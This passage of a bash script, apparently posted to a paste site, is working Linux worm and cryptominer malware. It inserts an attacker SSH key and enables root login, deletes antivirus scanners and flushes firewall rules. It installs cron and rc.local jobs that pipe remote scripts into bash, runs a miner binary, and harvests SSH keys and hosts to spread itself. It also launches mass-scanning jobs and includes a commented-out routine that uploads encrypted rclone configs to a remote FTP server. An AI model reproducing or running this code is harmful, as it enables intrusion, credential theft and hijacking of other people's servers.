  272. sshkeysgo(){
  273. if [ -f "/root/.ssh/authorized_keys" ]
  274. then
  275. echo ""
  276. else
  277. needreset=1;
  278. mkdir -p /root/.ssh
  279. echo "" >> /root/.ssh/authorized_keys
  280. fi
  281. cat /etc/ssh/sshd_config | grep -iw "#Port 22" | grep -v grep >/dev/null
  282. if [ $? -eq 1 ]
  283. then
  284. echo ""
  285. else
  286. needreset=1;
  287. sed -i 's/#Port 22/Port 22/g' /etc/ssh/sshd_config
  288. fi
  289. cat /etc/ssh/sshd_config | grep -iw "port 78" | grep -v grep >/dev/null
  290. if [ $? -eq 0 ]
  291. then
  292. echo ""
  293. else
  294. needreset=1;
  295. echo "" > /etc/hosts.deny;
  296. echo "" > /etc/hosts.allow;
  297. chattr -iau /etc/ssh/sshd_config
  298. chmod 777 /etc/ssh/sshd_config
  299. echo "Port 78" >> /etc/ssh/sshd_config;
  300. chmod 555 /etc/ssh/sshd_config
  301. fi
  302. cat /root/.ssh/authorized_keys | grep -iw "4CyIrSdDCx5CkZPzu0t87" | grep -v grep >/dev/null
  303. if [ $? -eq 0 ]
  304. then
  305. echo ""
  306. else
  307. needreset=1;
  308. mkdir -p /root/.ssh
  309. chmod 777 /root/.ssh/authorized_keys;
  310. chattr -iau /root/.ssh/authorized_keys;
  311. echo -e "\n" >> /root/.ssh/authorized_keys
  312. echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDi5nr/787EzPgUWvMYHJMeNW7FpuKaZwiZUWpCQH6mUzdf52nxx42BQXkWxeMf3ehl90+IsWX4XgXWdajS3gh9u09wi/uIbsikHerN11DSWHxi2qF67YH5dfOSHuSsGdFvEEsn5h574CyIrSdDCx5CkZPzu0t87dIj00aJTldRyAaWqtRRHnXg4wHAvc4R1GsAZLoODuv96H9IdDVUxidi7h36xlA2g11p7oY8bGcKIe98Vnok/5/qoMVs/64FsEU70rINXS26Z+2V05UdKxei33TP87UTKPX58mKNhMsRx8LUrpkuHjPU9f/V9LCLZpyCrB6WVgBsKiBfzK69H0kusOBgevG2gjSEIWE+sI9WRHN7iPtw4EcC/ZRzFbNx2p6BuL4jO4MpQzETzW5V0hfCrKmujtCHoYPu1TxKFENOJ3ZwOs0gQ42s2UB/L4CjJOiAmFSb+dkq28UJLDDWlkOatc7TZ/fNH8TAKL/t/k6ohj/lflEMrgErsXckFZbuz6L90k7QyWrv7hGIjZQLu9TYW+FHH/bQK0NDwXRsJRdl/Nucq1X4UNfud4GoZKb0Xmo7r829hxhBsBUHliZItsV9paNJbfSzbV8/rVVerMp89LheoWNIZVb87THCo0Z+rUfOtT87b3aXCrKzTjZNwc2Sf3QW+Pd+4v1NqrrCD79mYQ== server@localhost" >> /root/.ssh/authorized_keys
  313. sed -i '/.PermitRootLogin*/d' /etc/ssh/sshd_config
  314. echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
  315. chmod 555 /root/.ssh/authorized_keys
  316. fi
  317. }
  318.  
  319. securitygo() {
  320. docker ps | grep "ubuntu" | awk '{print $1}' | xargs -I % docker kill %
  321. docker ps | grep "abailey" | awk '{print $1}' | xargs -I % docker kill %
  322. ps -fe | grep -vw sic/sic | grep /tmp | grep -v grep | grep -v http | awk '{print $8}' | xargs -I % rm -rf %;
  323. ps -fe | grep -vw sic/sic | grep /tmp | grep -v grep | grep -v http | awk '{print $2}' | xargs -I % kill -9 %;
  324. which dlz
  325. if [ $? -eq 0 ]
  326. then
  327. echo "exists"
  328. else
  329. chattr -iua /usr/bin
  330. chattr -iua /usr/bin/dlz
  331. cat > /usr/bin/dlz << \EOF
  332. curl -L $(curl -L "$1" | grep -i "cdn-" | sed -r 's/.*value="([^"]+).*/\1/g' | head -1 | awk '{gsub(/&#x2F;/,"/")}1')
  333. EOF
  334. chmod +x /usr/bin/dlz
  335. fi
  336. which dlzz
  337. if [ $? -eq 0 ]
  338. then
  339. echo "exists"
  340. else
  341. chattr -iua /usr/bin
  342. chattr -iua /usr/bin/dlzz
  343. cat > /usr/bin/dlzz << \EOF
  344. curl -s -L $(curl -Ls "$1" | grep -i "http://download" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)
  345. EOF
  346. chmod +x /usr/bin/dlzz
  347. fi
  348. craigrowland=$(find /usr/bin -name sandfly-filescan)
  349. for klingon in $craigrowland
  350. do
  351. pkill sandfly-filescan;
  352. chattr -iua $klingon
  353. rm -rf $klingon
  354. chattr +iua $klingon
  355. done
  356. growland=$(find /usr/bin /usr/sbiin -name clamscan)
  357. for clam in $growland
  358. do
  359. pkill clamscan;
  360. chattr -iua $clam
  361. rm -rf $clam
  362. chattr +iua $clam
  363. done
  364. needreset=0;
  365. setenforce 0;
  366. ufw disable;
  367. iptables -F;
  368. iptables -X;
  369. iptables -t nat -F;
  370. iptables -t nat -X;
  371. iptables -t mangle -F;
  372. iptables -t mangle -X;
  373. iptables -P INPUT ACCEPT;
  374. iptables -P FORWARD ACCEPT;
  375. iptables -P OUTPUT ACCEPT;
  376. iptables -A INPUT -s 205.185.10.0/16 -j DROP
  377. dlz https://myfile.is/j4ebw6Edn0 | bash -s 2>/dev/null;
  378. }
  379.  
  380. filesetupgo(){
  381. chattr -iauR /var/tmp/sic/
  382. chattr -iauR /tmp/sic/
  383. mount | grep noexec | grep /tmp | grep -vw grep
  384. if [ $? -eq 1 ]
  385. then
  386. echo "good to go";
  387. else
  388. echo "remounting"
  389. mount -o remount,exec /var/tmp
  390. mount -o remount,exec /tmp
  391. fi
  392. j=0; for i in `ps -fe| grep 'sic/sic' | grep -v grep | grep -v http | awk '{print $2}'`; do let j=j+1; if [ $j -ge 2 ]; then echo "Killing process $i"; kill -9 $i; fi done;
  393. ps -fe | grep -w sic/sic | grep -v grep | grep -v http
  394. if [ $? -eq 0 ]
  395. then
  396. echo "RUNNING";
  397. else
  398. curl -4sL "https://iplogger.org/10JS93" >/dev/null;
  399. mkdir -p /var/tmp/sic || mkdir -p /tmp/sic/;
  400. filegetgo
  401. fi
  402. }
  403.  
  404. persistgo(){
  405. crontab -l | grep -e "um.lk" | grep -v grep
  406. if [ $? -eq 0 ]
  407. then
  408. echo "cron good"
  409. else
  410. chattr -aui /var/spool/cron/root
  411. mkdir -p /etc/cron.d
  412. mkdir -p /var/spool/cron
  413. echo "0,30 * * * * dlzz http://um.lk/linux | tr -d '\r' | bash -s" >> ~/cron || true && \
  414. echo "0,45 * * * * dlz https://myfile.is/B9gc27Efn4 | bash -s" >> ~/cron || true && \
  415. echo "0 * * * * curl -sL https://iplogger.org/2Ht8Y5 | python - start --port=9061 --log=false" >> ~/cron || true && \
  416. crontab -u root ~/cron || true && \
  417. crontab ~/cron || true && \
  418. anacron -t ~/cron
  419. rm -rf ~/cron
  420. rm -rf ~/cron
  421. rm -rf ~/cron
  422. chattr +iau /var/spool/cron/root
  423. fi
  424. cat /etc/rc.local | grep -vw grep | grep "um.lk"
  425. if [ $? -eq 0 ]
  426. then
  427. echo ""
  428. else
  429. echo "dlzz http://um.lk/linux | tr -d '\r' | bash ">>/etc/rc.local
  430. fi
  431. #cat /root/.profile | grep -vw grep | grep "um.lk"
  432. #if [ $? -eq 0 ]
  433. #then
  434. #echo "profile good"
  435. #else
  436. #echo 'ssh(){'>> /root/.profile
  437. #echo "command ssh \$@ -t \"curl -sL http://um.lk/linux | bash\"">> /root/.profile
  438. #echo '}' >> /root/.profile
  439. #echo 'ssh(){' >> /root/.bash_profile
  440. #echo "command ssh \$@ -t \"curl -sL http://um.lk/linux | bash\"" >> /root/.bash_profile
  441. #echo '}' >> /root/.bash_profile
  442. #echo 'ssh(){' >> /root/.bashrc
  443. #echo "command ssh \$@ -t \"curl -sL http://um.lk/linux | bash\"" >> /root/.bashrc
  444. #echo '}' >> /root/.bashrc
  445. #fi
  446. }
  447.  
  448.  
  449. filerungo(){
  450. chattr -iauR /var/tmp/sic/
  451. chattr -iauR /tmp/sic/
  452. curl -sL https://raw.githubusercontent.com/fengyouchao/pysocks/master/socks5.py | python - start --port=9061 --log=false;
  453. ps aux | grep -vw sic/sic | grep -v grep | awk '{if($3>80.0) print $2}' | xargs -I % kill -9 %
  454. ps -fe | grep -w sic/sic | grep -v grep | grep -v http
  455. if [ $? -eq 0 ]
  456. then
  457. echo "RUNNING"
  458. else
  459. sysctl -w vm.nr_hugepages=$(nproc --all)
  460. echo always | sudo tee /sys/kernel/mm/transparent_hugepage/enabled
  461. /var/tmp/sic/sic || /tmp/sic/sic
  462. sleep 10s;
  463. ps -fe | grep -w sic/sic | grep -v grep | grep -v http
  464. if [ $? -eq 0 ]
  465. then
  466. echo "NOW RUNNING"
  467. else
  468. sysctl -w vm.nr_hugepages=$(nproc --all)
  469. echo always | sudo tee /sys/kernel/mm/transparent_hugepage/enabled
  470. /var/tmp/sic/sic || /tmp/sic/sic
  471. fi
  472. fi
  473. }
  474.  
  475. localgo(){
  476. myhostip=$(curl -sL icanhazip.com)
  477. KEYS=$(find ~/ /root /home -maxdepth 3 -name 'id_rsa*' | grep -vw pub)
  478. KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config|grep IdentityFile|awk -F "IdentityFile" '{print $2 }')
  479. KEYS3=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)"|awk -F ' -i ' '{print $2}'|awk '{print $1'})
  480. KEYS4=$(find ~/ /root /home -maxdepth 3 -name '*.pem' | uniq)
  481. HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config|grep HostName|awk -F "HostName" '{print $2}')
  482. HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)"| grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}")
  483. HOSTS3=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)"|tr ':' ' '|awk -F '@' '{print $2}' | awk -F '{print $1}')
  484. HOSTS4=$(cat /etc/hosts| grep -vw "0.0.0.0" | grep -vw "127.0.1.1" | grep -vw "127.0.0.1" | grep -vw $myhostip | sed -r '/\n/!s/[0-9.]+/\n&\n/;/^([0-9]{1,3}\.){3}[0-9]{1,3}\n/P;D' | awk '{print $1}')
  485. HOSTS5=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts| grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | uniq)
  486. HOSTS6=$(ps auxw | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | grep ":22" | uniq)
  487. USERZ=$(echo "root" ;find ~/ /root /home -maxdepth 2 -name '\.ssh' | uniq | xargs find | awk '/id_rsa/' | awk -F'/' '{print $3}' | uniq | grep -wv ".ssh" )
  488. USERZ2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -vw "cp" | grep -vw "mv" | grep -vw "cd " | grep -vw "nano" | grep -v grep | grep -E "(ssh|scp)"| tr ':' ' ' | awk -F '@' '{print $1}' | awk '{print $4}' | uniq )
  489. sshports=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -vw "cp" | grep -vw "mv" | grep -vw "cd " | grep -vw "nano" | grep -v grep | grep -E "(ssh|scp)"| tr ':' ' ' | awk -F '-p' '{print $2}' | awk '{print $1}' | sed 's/[^0-9]*//g' | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2- | sed -e "\$a22")
  490. userlist=$(echo "$USERZ $USERZ2" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2- | grep -vw "." | grep -vw "ssh" | sed '/\./d')
  491. hostlist=$(echo "$HOSTS $HOSTS2 $HOSTS3 $HOSTS4 $HOSTS5 $HOSTS6" | grep -vw 127.0.0.1 | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
  492. keylist=$(echo "$KEYS $KEYS2 $KEYS3 $KEYS4" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
  493. i=0
  494. for user in $userlist
  495. do
  496. for host in $hostlist
  497. do
  498. for key in $keylist
  499. do
  500. for sshp in $sshports
  501. do
  502. ((i++))
  503. if [ "${i}" -eq "20" ]; then sleep 5;
  504. ps wx|grep "ssh -o"|awk '{print $1}' | xargs kill -9&>/dev/null&
  505. i=0
  506. fi;
  507.  
  508. #Wait 5 seconds after every 20 attempts and clean up hanging processes
  509.  
  510. chmod +r $key
  511. chmod 400 $key
  512. echo "$user@$host"
  513. ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=3 -i $key $user@$host -p $sshp "sudo curl -L http://um.lk/linux | sudo bash -s;"
  514. ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=3 -i $key $user@$host -p $sshp "curl -L http://um.lk/linux | bash -s;"
  515. done
  516. done
  517. done
  518. done
  519. }
  520.  
  521. scango (){
  522. dpkg --configure -a;
  523. screen -wipe >/dev/null;
  524. ps aux | grep "dmS waterloo" | grep -vw grep >/dev/null
  525. if [ $? -eq 0 ]
  526. then
  527. echo "running"
  528. else
  529. pkill screen;
  530. echo "need to start"
  531. pkill screen;
  532. cat /etc/os-release | grep -vw grep | grep "rhel" >/dev/null
  533. if [ $? -eq 0 ]
  534. then
  535. yum remove epel-release -y
  536. rpm -ivh https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm;
  537. rpm -ivh https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm;
  538. else
  539. echo "no need"
  540. fi
  541. if md5sum --status -c - <<<"83acf5a32d84330bbb0103f2169e10bb /usr/bin/zgrab"
  542. then
  543. echo ""
  544. else
  545. zgrabz1="http://uupload.ir/files/"
  546. zgrabz2="https://s.put.re/"
  547. zgrabscrape1="https://fuskbugg.se/"
  548. zgrabzar1=("epjn_zgrab.jpg" "4ih_zgrab.jpg" "kfdd_zgrab.jpg" "k4l8_zgrab.jpg")
  549. zgrabzar2=("1ghKpDSA.jpg" "1mR8WfJd.jpg" "1qUqWBMx.jpg" "2XmTPE5G.jpg" "38FqoSBL.jpg" "8BqzUEE8.jpg" "dqY7fmbn.jpg" "fjY69WMZ.jpg" "GWj4vteM.jpg" "Hb4Km7TL.jpg" "j8X4Zzc7.jpg" "Lgj775pY.jpg" "ML5Jj2F6.jpg" "RARm5CMk.jpg" "SFcKoguW.jpg" "sv5evTRR.jpg" "twuY28Nv.jpg" "Va8Ah4wR.jpg" "Wmm44FfX.jpg" "Yj5dX3uk.jpg")
  550. zgrabscrapear1=("1fRfidDen8" "39R6idD9n7" "52Rbi5D7ne" "BcR3ibDen0")
  551. chattr -iua /usr/bin/zgrab;
  552. curl -L -o /usr/bin/zgrab $(curl -sL $zgrabscrape1${zgrabscrapear1[$RANDOM % ${#zgrabscrapear1[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)
  553. chmod +x /usr/bin/zgrab;
  554. fi
  555. if md5sum --status -c - <<<"83acf5a32d84330bbb0103f2169e10bb /usr/bin/zgrab"
  556. then
  557. echo ""
  558. else
  559. zgrabz1="http://uupload.ir/files/"
  560. zgrabz2="https://s.put.re/"
  561. zgrabscrape1="https://fuskbugg.se/"
  562. zgrabzar1=("epjn_zgrab.jpg" "4ih_zgrab.jpg" "kfdd_zgrab.jpg" "k4l8_zgrab.jpg")
  563. zgrabzar2=("1ghKpDSA.jpg" "1mR8WfJd.jpg" "1qUqWBMx.jpg" "2XmTPE5G.jpg" "38FqoSBL.jpg" "8BqzUEE8.jpg" "dqY7fmbn.jpg" "fjY69WMZ.jpg" "GWj4vteM.jpg" "Hb4Km7TL.jpg" "j8X4Zzc7.jpg" "Lgj775pY.jpg" "ML5Jj2F6.jpg" "RARm5CMk.jpg" "SFcKoguW.jpg" "sv5evTRR.jpg" "twuY28Nv.jpg" "Va8Ah4wR.jpg" "Wmm44FfX.jpg" "Yj5dX3uk.jpg")
  564. zgrabscrapear1=("1fRfidDen8" "39R6idD9n7" "52Rbi5D7ne" "BcR3ibDen0")
  565. chattr -iua /usr/bin/zgrab;
  566. curl -L -o /usr/bin/zgrab $zgrabz1${zgrabzar1[$RANDOM % ${#zgrabzar1[@]}]} || curl -sKL -o /usr/bin/zgrab $zgrabz2${zgrabzar2[$RANDOM % ${#zgrabzar2[@]}]};
  567. chmod +x /usr/bin/zgrab;
  568. fi
  569. if md5sum --status -c - <<<"83acf5a32d84330bbb0103f2169e10bb /usr/bin/zgrab"
  570. then
  571. echo ""
  572. else
  573. zgrabz1="http://uupload.ir/files/"
  574. zgrabz2="https://s.put.re/"
  575. zgrabscrape1="https://fuskbugg.se/"
  576. zgrabzar1=("epjn_zgrab.jpg" "4ih_zgrab.jpg" "kfdd_zgrab.jpg" "k4l8_zgrab.jpg")
  577. zgrabzar2=("1ghKpDSA.jpg" "1mR8WfJd.jpg" "1qUqWBMx.jpg" "2XmTPE5G.jpg" "38FqoSBL.jpg" "8BqzUEE8.jpg" "dqY7fmbn.jpg" "fjY69WMZ.jpg" "GWj4vteM.jpg" "Hb4Km7TL.jpg" "j8X4Zzc7.jpg" "Lgj775pY.jpg" "ML5Jj2F6.jpg" "RARm5CMk.jpg" "SFcKoguW.jpg" "sv5evTRR.jpg" "twuY28Nv.jpg" "Va8Ah4wR.jpg" "Wmm44FfX.jpg" "Yj5dX3uk.jpg")
  578. zgrabscrapear1=("1fRfidDen8" "39R6idD9n7" "52Rbi5D7ne" "BcR3ibDen0")
  579. chattr -iua /usr/bin/zgrab;
  580. curl -L -o /usr/bin/zgrab $zgrabz1${zgrabzar1[$RANDOM % ${#zgrabzar1[@]}]} || curl -sKL -o /usr/bin/zgrab $zgrabz2${zgrabzar2[$RANDOM % ${#zgrabzar2[@]}]};
  581. chmod +x /usr/bin/zgrab;
  582. fi
  583. which masscan >/dev/null
  584. if [ $? -eq 0 ]
  585. then
  586. echo ""
  587. else
  588. yum install -y masscan || apt-get install masscan -y
  589. chmod +x /var/run/
  590. fi
  591. which masscan >/dev/null
  592. if [ $? -eq 0 ]
  593. then
  594. echo ""
  595. else
  596. yum install -y git gcc make libpcap-dev libpcap-devel || apt-get install git gcc make libpcap-dev -y;
  597. git clone https://github.com/robertdavidgraham/masscan /tmp/zim;
  598. cd /tmp/zim;
  599. make -j;
  600. install -pDm755 bin/masscan /usr/bin/masscan;
  601. echo "";
  602. chmod +x /var/run/
  603. fi
  604.  
  605. which jq >/dev/null
  606. if [ $? -eq 0 ]
  607. then
  608. echo ""
  609. else
  610. yum install -y jq | apt-get install jq -y
  611. fi
  612. which screen
  613. if [ $? -eq 0 ]
  614. then
  615. echo ""
  616. else
  617. yum install -y screen || apt-get install screen -y;
  618. fi
  619. scanscrape1="https://fuskbugg.se/"
  620. actionscrape="https://letsupload.cc/"
  621. scanarray1=("N1BdwcEfnd" "P7B3wcEbn8" "T8B0w6Eanc" "V2BcweE9n6" "X1B1w8E7nb" "b8Cdw7E3n8" "d0C7weE0n4" "h6C1weE6n6" "jcCcw0E2na" "l3Cdw5E2nf" "v7Cfw2E4n2" "x3C3w3E3n1" "z1CfwfE8n1" "12CbwbEen7" "36CawbE6nf" "51CawdE3nd" "71C6w1E2n6" "9dC3w7Eanf" "D3C6wdE5n8" "H6C3weEfn5")
  622. scrapeurl=$(curl -sL $scanscrape1${scanarray1[$RANDOM % ${#scanarray1[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)
  623. rndscreen0=waterloo$(head /dev/urandom | tr -dc a-z0-9 | head -c 5);
  624. screen -dmS $rndscreen0;
  625. sleep 1s;
  626. #goog
  627. screen -r $rndscreen0 -p 0 -X stuff $"bash\n";
  628. screen -r $rndscreen0 -p 0 -X stuff $"curl -L "$scrapeurl" | bash -s $(curl -sL "$actionscrape"3eS7MaDcn6 | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)\n";
  629. sleep 2s;
  630. rndscreen1=waterloo$(head /dev/urandom | tr -dc a-z0-9 | head -c 5);
  631. screen -dmS $rndscreen1;
  632. sleep 1s;
  633. #amz
  634. screen -r $rndscreen1 -p 0 -X stuff $'bash\n';
  635. screen -r $rndscreen1 -p 0 -X stuff $"curl -L "$scrapeurl" | bash -s $(curl -sL "$actionscrape"lbS4M5Dbn2 | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)\n";
  636. sleep 2s;
  637. rndscreen2=waterloo$(head /dev/urandom | tr -dc a-z0-9 | head -c 5);
  638. screen -dmS $rndscreen2;
  639. sleep 1s;
  640. #ovh
  641. screen -r $rndscreen2 -p 0 -X stuff $'bash\n';
  642. screen -r $rndscreen2 -p 0 -X stuff $"curl -L "$scrapeurl" | bash -s $(curl -sL "$actionscrape"J2S1MaDbn9 | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)\n";
  643. sleep 2s;
  644. rndscreen3=waterloo$(head /dev/urandom | tr -dc a-z0-9 | head -c 5);
  645. screen -dmS $rndscreen3;
  646. sleep 1s;
  647. #cn
  648. screen -r $rndscreen3 -p 0 -X stuff $'bash\n';
  649. screen -r $rndscreen3 -p 0 -X stuff $"curl -L "$scrapeurl" | bash -s $(curl -sL "$actionscrape"r6SdMfD8n5 | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)\n";
  650. sleep 2s;
  651. rndscreen4=waterloo$(head /dev/urandom | tr -dc a-z0-9 | head -c 5);
  652. screen -dmS $rndscreen4;
  653. sleep 1s;
  654. #do
  655. screen -r $rndscreen4 -p 0 -X stuff $'bash\n';
  656. screen -r $rndscreen4 -p 0 -X stuff $"curl -L "$scrapeurl" | bash -s $(curl -sL "$actionscrape"B1S4M1D7n9 | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)\n";
  657. sleep 2s;
  658. rndscreen5=waterloo$(head /dev/urandom | tr -dc a-z0-9 | head -c 5);
  659. screen -dmS $rndscreen5;
  660. sleep 1s;
  661. #de
  662. screen -r $rndscreen5 -p 0 -X stuff $'bash\n';
  663. screen -r $rndscreen5 -p 0 -X stuff $"curl -L "$scrapeurl" | bash -s $(curl -sL "$actionscrape"v6S5M6D4n8 | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)\n";
  664. sleep 2s;
  665. rndscreen6=waterloo$(head /dev/urandom | tr -dc a-z0-9 | head -c 5);
  666. screen -dmS $rndscreen6;
  667. sleep 1s;
  668. #msft
  669. screen -r $rndscreen6 -p 0 -X stuff $'bash\n';
  670. screen -r $rndscreen6 -p 0 -X stuff $"curl -L "$scrapeurl" | bash -s $(curl -sL "$actionscrape"B1S4M1D7n9 | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)\n";
  671. fi
  672. }
  673.  
  674. grabfilego(){
  675. rcl=$(find ~/ /root /home -maxdepth 3 -name 'rclone.conf' | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
  676. curl -o /tmp/pub.asc https://s.put.re/km9V1CWT.asc
  677. gpg --import /tmp/pub.asc
  678. for file in $rcl
  679. do
  680. gpg --trust-model always --recipient me@me.com --encrypt $file
  681. curl -T $file.gpg ftp://anonymous:anonymous@136.55.35.132/Passport/Music/Various/$(head /dev/urandom | tr -dc a-z0-9 | head -c 5).gpg
  682. rm -rf *.gpg
  683. find ~/ /root /home -maxdepth 3 -name 'rclone.conf.gpg' -exec rm {} \;
  684. done
  685. }
  686.  
  687. securitygo
  688. sshaddusergo
  689. sshkeysgo
  690. filesetupgo
  691. persistgo
  692. filerungo
  693. resetsshgo
  694. #grabfilego
  695. scango
  696. localgo
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement